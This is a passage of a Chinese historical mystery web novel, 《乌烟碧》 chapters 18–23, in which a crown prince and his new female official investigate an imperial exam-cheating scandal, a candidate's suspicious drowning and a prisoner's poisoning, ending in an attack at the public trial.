“殿下想让我做女史?” “姑娘愿意吗?” 任知宜轻笑,“我还有得选吗?如今满朝皆知我将是大胤第一位东宫女史,我和殿下已是拴在一根绳上的蚂蚱了。” 卫枢的视线移到窗外,钩月挂上天空,夜色渐浓。 “孤从来不喜欢勉强别人,姑娘若是不愿意,我自有解释的办法。至于令尊的案子,我亦会处理。” 任知宜双眸微动,缓缓问道,“我能不能问问殿下,前路所求为何?” 空荡的殿宇内,燃香袅袅,窗外传来阵阵鸟鸣,衬托得室内更加寂 18. 命案 《乌烟碧》全本免费阅读 大理寺 灿金之色闪得耀目,放在手里沉甸甸的,足有十两重。 牢头瞅了瞅眼前这锭金子,咽了咽口水,“二公子出手阔绰,可是小的着实不敢放您进去。” 景随笑得温文尔雅,“我只进去一刻钟,而且,只见钟黎一人。” 牢头仍然有些犹豫。 “这样吧!”景随笑得泰然,“你随我一同进去,站在我身旁守着!” 守卫眼神一亮,“公子说真的?” 景随点头微笑。 “好!公子随我来!” 沿阶而下,行了一段暗路,中间经三道精钢所筑的铁门,到达大理寺最深处的暗狱,这里的牢房相互独立,关押的都是牵涉大案的疑犯。 钟黎盘膝坐于石床上,双目闭阖,像一个老僧在禅定正念,不见丝毫落魄。 听到脚步声,他纹丝不动,“让本官猜猜,第一个来见我的会是谁!” 他自言自语道,“是柳德吗?” 钟黎睁开眼睛,看到景随那张似笑非笑的脸,一时之间笑容凝结在面容上。 “景随?”他皱着眉头道,“是你爹让你来的?” “见过钟世伯!” 钟黎冷哼一声,“废话少说!他准备什么时候放我出去?” 站在角落里的牢头闻言,浑身抖了一下,恨不能立刻堵上自己的耳朵。 景随瞥见碗里的米饭没有动过,唇边噙出一抹笑,“钟世伯是嫌这米糙不入口……要不要侄儿为你准备些可口的饭菜?” 钟黎双眸微眯,“景郦从来不会与我说这等废话!你有话直说吧!” “咸宁二年二月二十三日,你当时任兵部侍郎,我哥景远在那一日去兵部见你,所为何事?” 钟黎怔了一瞬,神思陷入回忆中,摇摇头道,“我从未见过你哥。” “那他为什么找你?还是在会试的前一日,必是极之重要之事。” “呵……”,钟黎懒懒地翻着眼皮,“这么久的事,我怎么会记得!何况我并未见到他。” “真可惜!”景随幽幽叹道,“令公子的舞弊之行一旦定罪,便会被革除功名,终身不得入仕。只要你告诉我我哥见你的原因,我便想办法让他脱罪。” 钟黎收起散漫的笑容,静静地凝视了他半晌,复又摇了摇头,“我是真得不记得了,或许只是件微不足道的小事……” 景随的笑容渐渐散去,双眸幽黑如墨。 “过了这么多年,你还有什么好查的!”钟黎不在意地笑道,“你哥在会试当日投江,恐怕就是读书读得痴了。” 景随眸色更深,抬起脚朝瓷碗轻轻一踢,碗被整个踢翻在地。 沾了泥的米,自然是吃不得的。 钟黎面色阴沉,“小子,莫要猖狂!小心你爹没儿子送终。” 景随笑笑,“听闻钟公子乃世伯独子,会审过后,没有儿子送终的恐怕是世伯。” “景,随!”,钟黎眸中布满阴鹜。 景随不再理会他,转身离去。 ………… 东宫正殿后侧有处小花园,阳春三月,桃花灼灼,柳燕芳菲。 粉桃树下,落花摇曳。 卫枢与任知宜宛并肩而立,远远望去,如一对璧人在树下呢喃低语。 苏叶走近了,听见卫枢的声音,“三年前,礼部尚书是程可靖,后来他因家中丁忧返乡,才换了肖显秀。” “民间传言“生子当如程可靖”的那位?”任知宜惊讶道。 卫枢轻笑,“原来你也听说过他。” “听闻他寒门出身,十六岁高中状元,不到三年升任翰林院大学士兼吏部侍郎,在平叛中还曾效力于郭老将军麾下,称得上武能定国,文可兴邦。” “哈哈……”,苏叶笑着走过来,插了一句,“你还少说了一句,他还是大胤有名的美男子,当年若非陛下惜才,他早已成了驸马。” 任知宜见到苏叶,眼神一亮,“苏公子来了啊!” 苏叶啧啧了两声,面对任知宜的热络,内心深处翻了个白眼。 “吶,这是霍思修签好的契书。” 任知宜喜笑颜开地接过来,也不介意苏叶的臭脸,“此事于我很重要,多谢苏公子。” 苏叶从鼻间哼了一声。 太子对任知宜实在过于宽容,居然放任她经商逐利,连去大理寺暗狱取契书这种事情竟也答应了她。 一个如此贪利之人,焉能尽信! 任知宜看到霍思修的字迹,犹如笔走龙蛇,突然有些担心,“我义兄在牢中过得可好?” “霍公子每日早睡早起,精神很不错。” “那就好。”任知宜放下心来。 卫枢问道,“大理寺那边案子进展如何?” 苏叶道,“于文崇父子、中书舍人裴宜和七个解州举子已认罪,可是肖显秀和钟黎一言不发,像是要顽抗到底。” “还有一事……”,苏叶突然正色道,“殿下在暗狱中安排的人说,昨夜景随偷偷地见了太常寺卿钟黎。” 卫枢长眉一挑,“说得什么?” “离得太远,没有听清。” 卫枢轻声道,“景随此人,孤与他有过一面之缘。” 当年他孤身回到京城,在城门处恰巧与一个少年相撞。 那少年被撞倒在地,既不说话,也不叫骂,只是呆呆地坐在地上,满眼的破碎,像是失去了生命的温度。 那个人,就是当年的景随。 卫枢回忆道,“后来我才知道,我见他之时,正是他兄长出事的那一日。 任知宜好奇道,“他兄长怎么了?” “具体的我也不太清楚,只知道他名唤景远,九年前不知何故溺死在曲江。” “啊!难怪……”,任知宜露出恍然的表情,“难怪上巳节那日,他没有参加曲水流觞,我还以为他和宫北楼一样虚有其名。” 苏叶嗤道,“他是本届会元。如今在查科举舞弊,他不想着避嫌,却一再出现在不应该出现的地方,实在令人怀疑。” 枝头攒动,树叶纷飞,墙头上突然跳下一个人来。 “什么人……” 任知宜吓了一跳,那人一身黑衣,是卫枢的暗卫。 他屈身跪地,“殿下,肖显秀死了!” …………< 19. 查案 《乌烟碧》全本免费阅读 曲江河畔,朝露日晞。 上巳节的流觞作赋,好不风雅!如今江水清澜如许,却不见当日盛景。 江雾霭霭,细润如丝,一具男子的尸身横陈于江岸上。 男子的面容被江水泡得发白肿胀,眼球外凸,唇翻舌露,污绿的皮肤似与挂在身上的水草凝成一体,整个身躯膨大地毫无人形。 任知宜第一次见到真正的尸体,禁不住酸气直直上涌,掩着口退后了几步。 卫枢问道,“还好吗?” 任知宜远离尸身,喘了几下,略微缓和一些。 她几欲崩溃地望着卫枢,“殿下,下次再有尸体,别让我来了!我受不得这个!” 卫枢递给她一方青竹帕,声音温和而低缓,“是孤考虑不周,一时情急忘了你是个姑娘。” “殿下可知此人是谁?” “尸体被江水泡过,会腐烂地更快。幸好昨夜江面有潮汐,将尸体浮了上来,如今模样尚能依稀辨认,暗卫回报,此人是贡士院的一名举子,名唤高期。” 青竹帕上带着淡淡的松香味道,任知宜缓了一口气,心中掠过一丝不安,“肖显秀死在大理寺,如今又死了一个举子,会不会影响这个案子?” 卫枢沉然不言。 贡士院的举子被取消贡士之名,心怀不忿,日日去礼部讨要说法,可是礼部却闭门不应,反倒闹得人心惶惶。 马蹄踏踏,扬起微尘,大理寺卿林居正到了。 肖显秀在狱中暴毙,大理寺卿分身乏术,来得比卫枢还要迟。 林居正一边行礼,一边吩咐仵作上前验尸。 “殿下怎地也来了?” 卫枢直白道,“这个浮尸的身份是贡士院的举子高期。” 林居正愕然半晌,嘴角抽动了几下,化成沉沉的两声哀叹。 在他看来,此人定是因为贡士之名被废而投江自尽。 卫枢眸色深幽,“林大人也觉得他是自尽?” 林居正心头一惊,太子此言,似乎意有所指。 此时,仵作上前禀报,“尸体口鼻中有水草,应是溺死于江中,按照腐烂程度来看,当是死于昨日戌时到子时之间。” “林大人,孤有个不情之请。”卫枢拱手道。 “殿下言重了。” “高期这个案子,孤想让她参与查案。” 卫枢朝着任知宜坐的位置比了下手,林居正侧目瞧去,见女子面容娇美,体态柔弱,抚着心口,还有几分西子病三分的美态。 林居正下意识地蹙眉不语。 卫枢解释道,“大人无须担忧,东宫不会干扰大理寺办案,任女史只是从旁襄助。” 原来是她! 林居正昨日才听说,太子亲自向陛下求了东宫女史之职。 任知宜打起精神,笑着过来见礼。 林居正面色沉沉,“不知任女史对这个案子有何见解?” 任知宜笑笑,“见解不敢!从贡士院到这里一定要出城,四方城门皆有守卫,可以将昨夜戌时至子时的出城记录逐一盘查,当有所获。” “还有呢?”林居正面色不改,继续问道。 “另外,就是必须查出高期是否与人结怨。” 林居正唇角轻勾,似是噙出一抹淡淡的嘲意,“姑娘未接触过刑案,有此见解也算不错了。” 任知宜感受到他话中的轻蔑,眸中笑意更浓,衬得如水的双眸更添潋滟。 “林大人,对于贡士院的举子,朝廷担心惹出文祸,一味姑息。林大人若是此时去贡士院调查,恐怕不会轻易得到您想要的,不如让我去与他们周旋,大人也可空出精力专心查案。” 林居正望着任知宜,颇有几分意外,“任女史愿意揽这个麻烦上身?” “食君之禄,忠君之事。”任知宜不以为然地笑笑。 她回答地过于理所当然,倒让林居正收了几分轻慢之色,“实不相瞒,肖显秀之死尚未查清,本官如今确实力有不逮。不过,任女史不熟刑名之道,恐怕很难有进展。” 任知宜思忖片刻,“林大人可否找一位擅长刑名之人,与我一同查高期之案。” “本官斟酌一下!”林居正沉思道。 任知宜领了查案之责,虽不敢去勘验那具尸体,却也立刻寻了仵作去问案情的细节。 江水澄绿,雾霭潮潮。 “听闻林大人去了景府。” 林居正瞥了一眼太子的神色,垂眸应道,“景随承认私入大理寺暗狱,但是其他的一概不知。” “林大人相信吗?” “臣只相信证据,待仵作查验出肖显秀所中之毒,再行判断。” 卫枢淡淡问道,“景相答应你带走景随?” “景相并未阻拦,还怒斥景随罔顾朝廷法度,擅自去见人犯。” 卫枢沉默半刻,缓缓道,“科举舞弊一案查到如今,种种证据皆指向肖显秀一人,既然如此,为何还有人非要他去死?” “殿下是说……”,林居正肃然道,“莫非后面还有另一个人?” 卫枢缓缓道,“抑或是,还有另一桩案子。” 曲江浩瀚,淡静无波,一切的暗潮似乎都被掩于水下。 ………… 贡士院 站在院门外,任知宜正了正襟领和官帽,一身绛红色的女史官服穿在身上,带出三分英气,七分清贵。 “任女史确定要孤身一人进去?” 任知宜回身笑笑,朝着身着黑甲的国字脸将军深深地作了一揖,“有庞将军在外面坐镇,我自然没什么可怕的。” 说话的乃是北衙右龙武将军庞大海,北衙直属陛下,日常职责是守禁宫安全。 任知宜笑得清雅温柔,“将军不用担心我,他们不过是一群书生,最喜欢轻言生死来威胁朝廷,但是若碰上我这种弱女子,反而束手无措。” 庞大海笑了笑,朝院门比了个请的手势。 进入贡士院,一面白玉龙纹照壁映入眼帘,黑底金漆,大胤建国以来的状元、榜眼和探花之名,皆在其上。 任知宜在上面看到了三个熟悉的名字,一个是景郦,一个是范昉,还有一个是程可靖,三人皆是状元之身。 一声怒吼从院内传来。 “我们在这里继续读这 20. 周旋 《乌烟碧》全本免费阅读 此言一出,整个院内鸦鹊无声。 “请诸位慎重!”任知宜的声音温雅清润,却掷地有声,“背后之人的目的或许就是要煽动举子兴起事端。” 几个举子面上现出犹疑之色。 应宣问道,“你说高期不是自尽,有何凭据?” 任知宜淡笑道,“今日四处奔忙,至今滴水未进,不知可否先跟诸位讨杯水喝?” 众举子闻言,皆面露窘色。 眼下这情状倒好似是他们一群男子在为难一个弱质女流。想到此处,满腔的意气散了大半。 应宣搬来一把楠木椅,又将茶盏盛满茶水,置于旁几上。 “姑娘请坐!” 任知宜言笑晏晏,“多谢应举子。” 应宣沉声道,“请姑娘尽快告知高兄的死因。” “啾啾,啾啾……” 两只十四雀落在院中的银杏树上,争相啄着树干,发出嗒嗒的声音。 任知宜啜了口茶,慢条斯理道,“证据有三。” “其一,仵作发现,高期虽是溺死,口鼻中吸入的水草却较一般的溺水之人少很多,证明他入水时是半昏半厥,显然他并非独自去往曲江,最大的可能是他当时已被人迷昏。 其二,他的两个手腕处有很深的勒痕,手背上还有利石划伤的小创口,应当是有人将重石以绳索绑于他的手腕上,以期他沉入江底。没想到,昨夜月动,江波翻浪,将尸体飘了上来。” “其三,高期死于戌时至子时,我已问过四方城门守卫,未有人见过他。” “姑娘所言差矣。”人群中传来一个低沉的声音。 任知宜凝神望去。 发声之人身量不高,脸颊瘦削,站在人群中极不起眼,唯有双眸锐利而沉静。 “在下董嗣业。”他面容沉肃,“不同意姑娘所说。” 任知宜笑如春风,“愿闻其详。” “昨夜高期在怡然亭醉酒,贡士院人尽皆知。口鼻内吸入水草较少,不一定是被人迷昏,也有可能是因为酩酊大醉。” 任知宜反问道,“既已大醉,如何能孤身走到曲江?” 董嗣业漫不经心道,“或许高期先到了江边,又醉饮了一场,也未可知。” 任知宜淡淡一笑,“董举子这么猜测,倒也有几分道理。” 众人见她相貌清丽,行事温柔知礼,渐渐地卸下防备,七嘴八舌地讨论起来。 “昨夜我见过高期,他酉时就开始在怡然亭喝酒,一直喝到半夜。” “没到半夜!”另一个举子道,“我戌时出来过,他不在亭中。” “我们几个明明看见,戌时三刻时,董兄和许兄背他回房。” “还有应兄和况兄也在一起。” “……” 任知宜静静地听着,暗暗记下其中的信息。 这些举子如今对朝廷有怨气,若是逐一盘查审讯,恐怕又要多生事端。 不如抛砖引玉…… 若他们未说谎,如今能够确定的是,高期在亭中饮酒至戌时,但是中间消失了一段时间,后来戌时三刻被几个举子背回房间。 董嗣业也发现了任知宜的目的,沉声道,“姑娘,你说高兄手上有绳索捆绑的勒痕,焉知不是高兄怀着必死之志,自己绑上的呢?” 一众举子齐齐地望向任知宜。 任知宜起身福了一礼,“诸位有所不知,高期腕上的勒痕深浅不一,最深处在他的手腕内侧,除了勒痕,腕内侧还有数道擦痕。 这两种痕迹足以证明,当时他的双手应是被绳索反缚于背后,他独自一人,如何能做到?” 几个举子闻言,下意识地背手而试,露出恍然大悟的神情。 任知宜又道,“我猜想,杀他之人或许是担心他于水中醒来解开绳索,所以如此行事。” 察觉高期死因不明,有几个举子萌生退意,“这位姑娘说得有几分道理,若高兄真是被人所害,我等不明真相,岂不是成了帮凶。” 任知宜松开袖中紧握的手指,暗暗地舒了一口气。 说是证据,其实她自己心里清楚地很,一无人证,二无物证,眼前不过是利用了几个取巧的疑点,唬唬人还行,若是让真正懂刑名的人听到,非将她这所谓的证据喷成渣滓不可。 幸好,人心易变。 只要众人心中生出一丝疑虑,文祸一事,便不会酿起。 董嗣业突然生出几分冷笑,“姑娘舌灿莲花,令人钦佩。” 话音一转,“只是我有一事不明,姑娘一人前来,不带府兵,不报身份,对着我们一番旁敲侧击,究竟意欲何为?” 应宣像是突然被点醒,上前一步问道,“姑娘究竟是何人?” “我是何人并不重要,只是诸位举子扪心自问,为了一时意气罔顾前程,真地值得吗?” 她从容地摘下官帽,露出光洁如玉的额头和远山含黛之眉,融融的笑意噙在唇间,“在下任知宜。” “任知宜?”有举子惊叫道,“她是霍思修的义妹!” 她站上石壁前的高阶,朗声道,“诸位若听我一言,静待五日,大理寺必会对高期一案给各位一个交代。” “若我们不从呢?” 她手托官帽,以最轻淡的口吻说着最凛冽的话,“若诸位执意去文正门前,我今日便血溅于此。 我义兄霍思修,舍身取义,擂响登闻鼓,为天下读书人求一个公道,至今仍在大理寺的牢狱中关押着。 我为保大理寺顺利公审科举舞弊一案,今日亦不能堕了义兄之威名。” 这一番话说得义正辞严,众人俱皆面露惊然,渐渐黯然散去。 歩出贡士院,被炎炎烈日一照,任知宜生出几分恍惚,脚下一个趔趄,差点摔在门前。 庞大海赶忙扶了一下,“女史可还好?” 任知宜揩了把冷汗,只觉心神俱疲,勉强挤出个笑容,“总算幸不辱命!” 从军中探子那里听闻里面的情况,庞大海面对任知宜,禁不住肃然起敬,“女史聪慧果敢,一腔忠义,难怪能得太子殿下器重。敢在太祖石壁前说血溅当场,女史当为我大胤第一人。” 任知宜扑哧一下笑了出来,“庞将军说笑了!我怎么会真得去撞壁!” 庞大海怔怔地立在当场。 任知宜唇角轻勾,“自古文人最重清名。若我只是个普通朝廷小吏,倒也罢了,可是我是霍思修的义妹。 他们的贡士之名乃是因我义兄擂响登闻鼓而失,若是此番逼死我这个义妹,所有人都会认为他们是挟怨报复,到时候要面对天下人的口诛笔伐,他们宁可去死。” 庞大海怔了半晌,蹙着眉问道,“若他们不从呢?” “不会的!”任知宜淡淡笑道。 庞大海不死心地问道, 21. 追查 《乌烟碧》全本免费阅读 夜色浓深,凉风渐起,窗外树动蝉鸣。 雀琴守着空落落的房间,心中生出几分忐忑。 太子已差人来问了两回,任女史仍未回宫。眼看着宫门快要下钥,虽说女史的身份特殊,但是终归是宫里的女官,入夜不归,不知道太子会不会怪罪下来。 殿外传来声响,掌灯内侍在前引路,太子如芝兰松柏一般的身影出现在门外。 “还未回来?” 雀琴屏住呼吸,以极轻的声音回道,“晌午的时候,女史回来收拾了些东西。” “什么东西?” 雀琴低着头,“任女史收拾了几件进宫时带来的衣物,就匆匆忙忙地走了。” 宫灯中透出的昏黄光束,落在青玉地砖上,形成一道圆圆的光晕,将他的身影笼在其中。 光影交错,衬得卫枢神色晦暗不明,辨不出情绪。 “备匹马!” 清淡的声音让内侍微微恍惚了一下,“殿下要出宫?” “嗯!” 内侍一下子清醒过来,赶忙提灯,追上卫枢的脚步。 -- 因为任知宜被卫枢带回宫中,林四和林七也暂时回到暗卫营中待命。 未料到,二更刚过,东宫传信过来。 借着月色,林四见太子立于文正门前,神色淡静无波,周身却透出几分肃然,无端让他生出几分惶惑。 “去任知宜的宅子。” 林四领命,驾上马车。 谁料到,任知宜未回皇宫,却也不在家中。 听到宝珠一句“小姐不在”,林四感觉头皮都在发麻。 从皇宫到石方街,奔了大半个京城,却没找到任知宜。 林四回复太子时,感觉周遭的空气都冷了下来。 平日里太子虽然人清冷了些,但是赏罚分明,御下宽和,像今日这等动怒,倒是第一次见。 卫枢撩起车帷,“为何不跟着她?” 宝珠神色茫然,“小姐说,她去的地方很安全,有朝廷的人在守着。” 车帷落下,清越的声音从内里传出来。 “去贡士院。” ………… 门房来报,有人要入院。 伍主事披上中衣,连连打着哈欠道,“这都什么时辰了!谁啊?” “一个姑娘,说是来寻人的,又说不出个名字,赶也赶不走。” 伍主事气道,“让她明早再来。” “说了!可那姑娘看起来不太好惹。” 伍主事无奈地叹气,“带我去看看吧,院里已是一团乱麻,别再惹出什么事来。” 院门外的左侧石狮子旁边坐着一个抱剑的年轻姑娘,右侧停着一辆马车,站着一个执剑的黑衣男子。 伍主事怔怔瞧着,有些摸不着头脑。 他走到年轻姑娘面前,上下打量了一番。 这姑娘粗衣裹身,头发随意地挽着,肤色透着健康的黑,浓眉英挺,一双眼睛异常明亮。 与伍主事想象中举子家眷的样子不同,他有些不确定道,“姑娘有何贵干?” 那姑娘大咧咧地翘起右腿,不耐烦道,“林老头儿说你们非我不请,我这才连夜从怀县赶回来,怎么连门都不让人进?” 伍主事听得费解,又转向马车前的男子,“你与这位姑娘是一道的?” 林四掏出东宫腰牌,“任知宜是不是在里面?” 伍主事朝着马车望了一眼,浑身一震,躬身道,“任女史正在勘验溺死举子高期的房间,贵人请进。” “嗬!真是巧了!”那姑娘闻言,撇着嘴笑道,“我也是来勘察死人房间的!” —— 高期的房间在贡士院最偏僻的西北角,月色照不进来,漆黑一片。 窗前突地闪过一道黑影。 林四厉声一喝,那道影子倏地跳下门阶,钻进一丛矮林中。 房内,他们找到任知宜时,她正蹲在书案下面,手执烛台,环抱双臂,一张小脸惨白兮兮的。 烛火燃起,满室华亮。 任知宜的面容渐渐恢复了血色,镇定下来。 沉默了半晌,卫枢面色不太好看,“你不想住在宫中也可以,但是日后出来查案,带上林四,或者你那个丫鬟。” 任知宜连忙点头称是。 刚才的一幕,的确是吓到她了! 她翻查着案上的书稿,突然感觉后脊一阵发凉,好似有一双眼睛在盯着她。 烛台的光映在窗上,现出一道暗黑的人影。 那影子贴着窗纸望向屋内,双眸的幽芒似乎要穿透进来。 她惊地浑身一颤,一口气吹熄了烛火,躲到书案之下,紧接着便听到林四的喝声。 任知宜望着眼前陌生的姑娘,问道,“殿下,这位姑娘是……” 姑娘抱拳,“大理寺,唐橘!” 看来是林大人推荐的那位擅长刑名的捕快,没想到是个姑娘。 任知宜礼貌笑笑,“唐姑娘好,我叫任知宜。” 唐橘摆摆手道,“唐姑娘听着别扭!叫我唐橘行了,橘树的橘!庄户人家起名没你们官家那么讲究。” 任知宜莞尔一笑,“我爹为我起名时,希望我宜室宜家,这么看来,也不太讲究。” 唐橘侧眼望去,臻首娥眉,肤如凝脂,举手投足都是官家小姐的仪范,但又好像和京城的贵女不太一样。 房间六尺见方,书案置于黄漆胡床旁边。 “这些是什么?”唐橘翻开书案上的东西,拧着眉头道。 “左边的书稿是高期的诗作,右边那一摞是家书。” “可有发现什么?” 任知宜摇摇头,“我看不出来,都是些寻常东西。” “这是什么?”唐橘发现地上有一块儿黑色的东西,她拿起来放在鼻下闻了闻,一股子墨香味儿。 “是砚台!”卫枢轻声道,“这个房间有书案,却没有砚台。” 着实有些奇怪。 “这应该是砚台磕坏的一角。”唐橘凝神细看,缓缓道。 任知宜凝视着她,这位唐姑娘刚才还是一脸倦意,开始查案之后便像换了一个人似的,满眼都是神采。 “这砚台有何紧要?” 唐橘指着书案道,“你看这些诗作和家书,放得井井有条,甚至按照时间顺序做了归整;地面纤尘不染,连衣物的摆放都有既定的顺序,可以知道高期这个人应是一个极爱整洁,做事情喜欢循规蹈矩之人。” “那又如何?” “这种人为什么没有打扫地上的碎块儿?” 任知宜沉眉深思,“你的意思是,他是死的那日打翻了砚台。可是贡士院的举子说,他那夜一直醉酒至深夜。” < 22. 证词 《乌烟碧》全本免费阅读 三四月的天,瞬息万变。早起还是烈日炎炎,晌午刚过,天光倏然黯淡,阴沉下来。 大理寺卿林居正独坐书房,扶额长思。 陛下将科举舞弊一案交托于他,限七日内结案,本是一十三人的舞弊之罪,却堪堪少了一人。 肖显秀死之前,对其他人舞弊之举供认不讳,唯独未提及钟黎父子。 林居正本想再周旋两日,定能令他和盘托出,没料到他却突然身死狱中。 昨日入宫面圣告罪,将此案详情送呈陛下,本以为会得到一番申饬,未料到陛下只是淡淡说了一句,“卿须立大局而非小节。” 陛下的言下之意,此案的重心乃是解州举子,无论是肖显秀暴毙还是钟黎父子二人未证之罪,皆无关此案大局。 今晨下了早朝,太子卫枢突然拦下他,问景随是否还在狱中。 追问之时,景相正站立于太子身侧,堪堪一步之遥。 清和殿前的汉白玉阶被明晃晃的日光一照,折射出耀目的光,刺得林居正双眼迷离。 他恍惚了一下,如实回道:“景公子与钟黎所谈乃是私事。至于肖显秀,经臣查实,系自尽而亡,与景公子无关。” 仵作提的尸验单上,写明肖显秀所中之毒名唤心挠,中此毒者,会在一刻钟之内突然心滞而死,形同胸痹之症。 既是心痹猝死,则与景随进入大理寺的时间不一。 太子卫枢言笑意切道:“既然景公子与此案无关,还请林大人尽快放了景公子,莫要耽搁他下月的会试重考……” 林居正弓腰背手,在房内来回踱了几步,眉间深锁。 一场科举舞弊大案尚未了结,朝局已在悄然改变。 天边乌云翻滚,墨染长空,远处惊雷乍响,急雨将至。 林居正收妥卷宗,亲自接景随出狱。 坐了几日冤狱,景随发垂披肩,衣染微尘,风采却未折损分毫,面上笑容和煦,眼神清亮如昔。 “让公子无辜蒙冤,是本官失职。” 景随颔首作礼,“林大人言重了,景随私入暗狱,本就不对。大人这么快查出真相,还我清白,该是我感激大人才对。” “不过是分内之事。”林居正虚虚一笑。 景随轻声问道:“我与此案也算有关,大人可否告知于我,肖显秀是如何死的?” 林居正神情一顿,缓缓道,“服毒自尽。” “不知是什么毒?” 林居正略微蹙眉,“心挠之毒。” 景随道谢离去。 ………… 那厢唐橘和任知宜追上信客。 信客名唤赵虎,靠着和驿丞有姻亲,时常将外地举子的家信夹在驿站快报中,一同送出城去,他趁机收些跑脚费。 据他所说,三月初十那日酉时,高期的确找他寄了一封家信。 那赵虎是个标准的地痞混子,唐橘素知这等人的脾性,对他所说的半信半疑。 任知宜却反复地问他:“确定是酉时吗?” “怎么了?”唐橘问道。 任知宜将贡士院举子说的告诉她,那么多举子都说高期在亭中饮酒,为何赵虎却说高期与他在一起。 “他身上可带酒气?” “没有!” 任知宜怔了怔,怎地与贡士院众举子说的大相径庭。 “赵虎!”唐橘厉声喝道,一把短匕搁在他的颈上,“又胡扯放屁?” “没!绝对没有!”赵虎梗着脖子,急得脸色通红,指天起誓道:“他来的那日,正是我爹大寿,我吃了寿宴之后去的驿站,我倒是一身酒气,还被那高期嫌弃了。” 他见二人仍疑心,又继续道,“他还说要去修补砚台,让我推荐了一家书坊,你们若不信,就去前街那家问问,看我有没有说谎。” 任知宜和唐橘相视一眼,她们二人没有向赵虎提及砚台的事,这么看,赵虎那日的确见过高期,他的话倒是可信了几分。 任知宜沉思半晌,问道:“那封信你看过吗?” “没有。”赵虎接着道,“虽未看过,但是高期一直催促我尽快送出,说是家中接到贡士被废的消息必定心急如焚,看了这封信,他们就能安心了。” 特意写信让家人安心,高期又怎么会自尽! 唐橘放下短匕,慢条斯理道:“赵虎,我实话跟你撂了,高期死了!你须得去大理寺公堂上将你刚才说的再说一遍。” “他死了?”赵虎惊得一哆嗦,目瞪口呆地连连摆手,“我不去公堂……我刚才都是胡说的,我什么都不知道!” 唐橘拎起赵虎的衣领,露出几分凶相,“你是高期死前见过的最后一个人,嫌疑最大。你若非要不说,也不是不行。” “高期这个狗杂碎!”赵虎面色惨白,啐声道:“平日里抠抠搜搜,就没让我赚到几分银钱,死了也给我惹这么大麻烦。” “高期很抠门?”任知宜突然问道。 “可不是嘛!”赵虎骂骂咧咧,“若不是瞧他是个举人,谁愿意赚那么少,帮他送信。” 不多久,大理寺的人押了赵虎回去。 唐橘找人替她寻了匹马。 她拍了拍饱满的马腹,见此马鼻大口红,是个精壮的良马,很是满意。 “按照惯例,驿站每月十一日会发出官府邸报公文,我们快马去追,应该能追回那封信。” 瞥了一眼那高厚的腰墩,粗壮的马蹄子,任知宜禁不住后退三步,艰难开口道:“我不会骑马。” 她自幼便有畏高之症,上树不行,骑马也是不行,一上去便两眼发黑,双腿战战。 唐橘眉头一蹙,想了想,“罢了!我一人去吧!你去找那书坊问问高期的行踪,再提醒林老头,先别开堂审案,最迟三日,我一定赶回来。” “好!”任知宜道。 唐橘利落地跳上马,缰绳勒在手中,冲着任知宜飒飒一笑,“等我回来!” ………… 前街只两家书坊。 任知宜拿着画像一一查问,都说从未见过此人。 她不死心,将整个前街的酒肆茶楼杂耍摊贩全部查问了一遍,无一人见过高期。 从晌午跑到天黑,任知宜跑得饥肠辘辘,两腿发虚,终于明白唐橘所说的那句“查案最重要的是填饱肚子”。 随意 23. 会审 《乌烟碧》全本免费阅读 长空万里,纤凝无迹。 乌压压的人群聚于大理寺堂前,百姓个个伸长了脖子朝内里望去。 这是大胤建国百余年来的第一次科举舞弊大案,太子监察,三司会审,称得上是举国震动。 大理寺卿林居正端坐正中,太子卫枢于左,刑部尚书席白、监察御史蔡崇华和翰林院姚大学士分坐于右。 司直得令,走到五人面前,将手中案卷一一展开,供词一目了然。狱丞押解一干人等到堂。 “本官乃大理寺卿林居正,奉陛下之命审科举舞弊之案,今已查实,特昭示于天下。” 林居正立于堂前,高声道:“礼部尚书肖显秀身为进士科主考官,私泄考题,贪墨罔利,混淆圣听,罪处极刑,因其自尽身死,着抄没家产,全家十五岁以上男子流放南州。” 人群中,百姓一片惊呼。 极刑! 任知宜于堂前侧目,心中泛起波澜,这些年朝官贪墨,蔚然成风,轻易不能入罪。大胤重文,文臣无死罪,乃是多年来不成文的规矩。 这是第一个因为贪墨而被处极刑的三品文臣。曾经高高在上,如坐云端的权臣,一朝贪墨,同样跌落神坛,祸及全家。 朝廷借此重立威信,大胤朝堂才能稳固。 “大家快看!”人群之中,有人指着跪在堂前的霍思修道:“那位就是敲响登闻鼓的霍举子,玉树兰芝,仪表不凡,这才是敢为天下先的君子啊。” 任知宜掩唇微笑。 一眼望去,霍思修面色如常,衣衫齐整。 她心下宽慰,想来这位义兄没有在狱中受什么磋磨。如今他在坊间盛名已聚,只要在下月会试中得中进士,未来的仕途定然一路平顺。 林居正的声音再度响起:“礼部侍郎于文崇父子,笞四十杖,抄没家产,流放靖州三十年;中书舍人裴宜官降四级,裴复与解州举子宫北楼、郭放等十一人,舞弊之行罪证确凿,革除功名,永不录士。” 一直默不作声的宫北楼遽然抬头,“学生不服!” 林居正板着脸,“这个结果,是三司会审一致通过的。你有何不服?” 宫北楼倏地直起身来,不甘道:“于靳在天香阁主动游说,学生一时糊涂,才误信了他的鬼话!” “本官查案,重在证据!众人皆已招认,当日你也同样买过那份考题,还有什么好说的!” 宫北楼再叩首,“林大人,学生本就是三甲之才,若能重新参加下月会试,当可证明……” “不必了!”卫枢出声打断! 他阔步而下,青衣锦袍,气韵华然。 冷漠中带着三分凛冽,“才学过人又如何!朝廷不需要你们这等苟营之辈!” “殿下!”宫北楼身旁的举子突然将头磕得咚咚作响,“学生能不能要一个悔过的机会?如果我就这么回去了,难见父母亲朋,恳请殿下垂怜!” 卫枢冷冷道:“若是一句真心悔过便既往不咎,对落榜的举子可算公平?你是将大胤律疏当成了儿戏!” 求情无望,宫北楼拍着那举子的肩膀,落下几滴泪来,“怪我无能,未能看穿他们的阴谋,这是有人在拿我们解州开刀!” 那举子茫然若失地望着周围的人群,那么多双眼睛望着他,其中有鄙夷,有愤恨,还有畅快。 他双眼发直,呆呆地望着宫北楼。 “事到如今,还要矫词强辩!毫无气节可言。”卫枢拧眉拂袖,连看都不愿意再看宫北楼一眼,“难怪仅是输了一场无足轻重的曲水流觞便睚眦必报,去害霍思修的性命!” “……” 一丝狠戾自宫北楼眼中一闪而过,他突然朝着人群高声大喊:“北楼无话可说,惟有一死以证清白!” 话音甫落,他整个人朝着堂前抱柱撞去。 所有人的注意力都集中在宫北楼身上,未防范有人突然跃起,袖中银光一闪,刺向卫枢。 “殿下小心!”任知宜惊喊。 卫枢侧身一避,那人眼见失手,丢下利刃,随手抓住旁边的任知宜,拉紧缠绕在指间的铁丝线,环勒住她的脖颈。 情势急转直下,让所有人都措手不及。 